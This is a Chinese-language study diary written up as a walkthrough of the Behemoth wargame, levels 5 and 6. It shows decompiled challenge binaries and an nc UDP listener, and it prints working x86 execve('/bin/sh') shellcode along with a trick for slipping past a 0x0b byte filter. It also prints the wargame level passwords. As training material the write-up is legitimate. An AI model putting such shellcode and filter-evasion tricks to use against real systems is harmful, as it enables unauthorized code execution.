1625-5 王子昂 总结《2017年9月7日》 【连续第339天总结】
A. WarGames-Behemoth
B.
Level 5
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int32 v3; // ST24_4@4
uint16_t v4; // ax@10
size_t v5; // ST08_4@10
FILE *v6; // [sp+28h] [bp-28h]@1
char *v7; // [sp+2Ch] [bp-24h]@4
struct hostent *v8; // [sp+30h] [bp-20h]@4
int v9; // [sp+34h] [bp-1Ch]@7
signed __int16 v10; // [sp+3Ch] [bp-14h]@10
uint16_t v11; // [sp+3Eh] [bp-12h]@10
int v12; // [sp+40h] [bp-10h]@10
int v13; // [sp+44h] [bp-Ch]@10
int v14; // [sp+4Ch] [bp-4h]@1
v14 = *MK_FP(__GS__, 20);
v6 = fopen("/etc/behemoth_pass/behemoth6", "r");
if ( !v6 )
{
perror("fopen");
exit(1);
}
fseek(v6, 0, 2); // 设置文件指针的位置,为fromwhere(2)+offset(0)
v3 = ftell(v6) + 1; // 得到文件指针的位置
rewind(v6); // 将文件指针重新指向流的开头
v7 = (char *)malloc(v3);
fgets(v7, v3, v6); // buf,bufsize,stream
v7[strlen(v7)] = 0;
fclose(v6);
v8 = gethostbyname("localhost");
if ( !v8 )
{
perror("gethostbyname");
exit(1);
}
v9 = socket(2, 2, 0); // 创建套接字
if ( v9 == -1 )
{
perror("socket");
exit(1);
}
v10 = 2;
v4 = atoi("1337"); // StrToInt
v11 = htons(v4); // 转换为大端序
v12 = **(_DWORD **)v8->h_addr_list;
memset(&v13, 0, 8u);
v5 = strlen(v7);
if ( sendto(v9, v7, v5, 0, (const struct sockaddr *)&v10, 0x10u) == -1 )// UDP协议
// socket,msg,len,flags,to,tolen
{
perror("sendto");
exit(1);
}
close(v9);
exit(0);
}
整理一下流程,大体就是读取密码文件,然后通过socket以UDP格式向1337端口发送
htons函数的功能是将数字从intel系处理器所使用的小端序转换为网络通信通用的大端序
我以为是一种编码加密方式了(逆向做多的下场),研究了半天1337被转换后会是什么值了……
其实是socket通信的必要编码转换,只需要接收1337端口函数即可
重点在sendto函数是以UDP协议发送,而nc监听的默认是TCP包,需要使用-u参数
整体来说很简单,这个形式在之前bandit里做过了
打开两个shell,一个监听1337端口的UDP包,另一边运行behemoth5即可
behemoth5@behemoth:~$ nc -u -l 1337
mayiroeche
Level 6
behemoth6
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // ST1C_4@4
FILE *v5; // [sp+18h] [bp-8h]@1
v5 = popen("/behemoth/behemoth6_reader", "r");
if ( !v5 )
{
puts("Failed to create pipe.");
exit(0);
}
v3 = malloc(0xAu);
fread(v3, 0xAu, 1u, v5);
pclose(v5);
if ( !strcmp((const char *)v3, "HelloKitty") )
{
puts("Correct.");
execl("/bin/sh", "sh", 0);
}
else
{
puts("Incorrect output.");
}
return 0;
}
behemoth6_reader
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int32 i; // [sp+1Ch] [bp-14h]@3
FILE *v5; // [sp+20h] [bp-10h]@1
__int32 v6; // [sp+24h] [bp-Ch]@3
void *v7; // [sp+28h] [bp-8h]@3
v5 = fopen("shellcode.txt", "r");
if ( v5 )
{
fseek(v5, 0, 2);
v6 = ftell(v5);
rewind(v5);
v7 = malloc(v6);
fread(v7, v6, 1u, v5);
fclose(v5);
for ( i = 0; i < v6; ++i )
{
if ( *((_BYTE *)v7 + i) == 11 )
{
puts("Write your own shellcode.");
exit(1);
}
}
((void (*)(void))v7)();
}
else
{
puts("Couldn't open shellcode.txt!");
}
return 0;
}
这次有两个文件,behemoth6调用behemoth6_reader,取返回值与“HelloKitty”比较,成功则getshell
而behemoth6_reader的流程则是读取shellcode.txt,判断是否存在\x0b,如果存在的话则提示“请自己写shellcode”,判断通过以后执行shellcode
通常使用的get shell最后的汇编都是mov al,0xb int 0x80
使用的原shell如下
\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
既然查询点是0xb,那么只需要绕过这一点就行了
0xb是最后调用exec函数时提供的参数,因此值必须在
不过检查的是代码,因此通过一点小花样就可以绕过:mov al,0xa add al,1 即可
用pwntools的asm方法可以将汇编转换为二进制代码
得知\xb0\x0b可以用\xb0\x0a\x04\x01替换
成功通过behemoth_reader以后,查了一下popen函数的返回值是子进程的I/O流
因此只需要在shell中echo HelloKitty即可在behemoth中get shell
注意在behemoth6_reader中getshell以后权限仍然只有behemoth6的,因为behemoth6_reader不具有s权限,因此虽然创建者是behemoth7但权限是不会被提升的,所以还是要通过具有s权限的behemoth6来提权
behemoth6@behemoth:~
$
/behemoth/behemoth6
echo HelloKitty
exit
Correct.
$
whoami
behemoth7
$
cat /etc/behemoth_pass/behemoth7
baquoxuafo
另外还可以直接令shellcode的内容为echo HelloKitty,这样也可以绕过exec函数的检测
C. 明日计划
behemoth7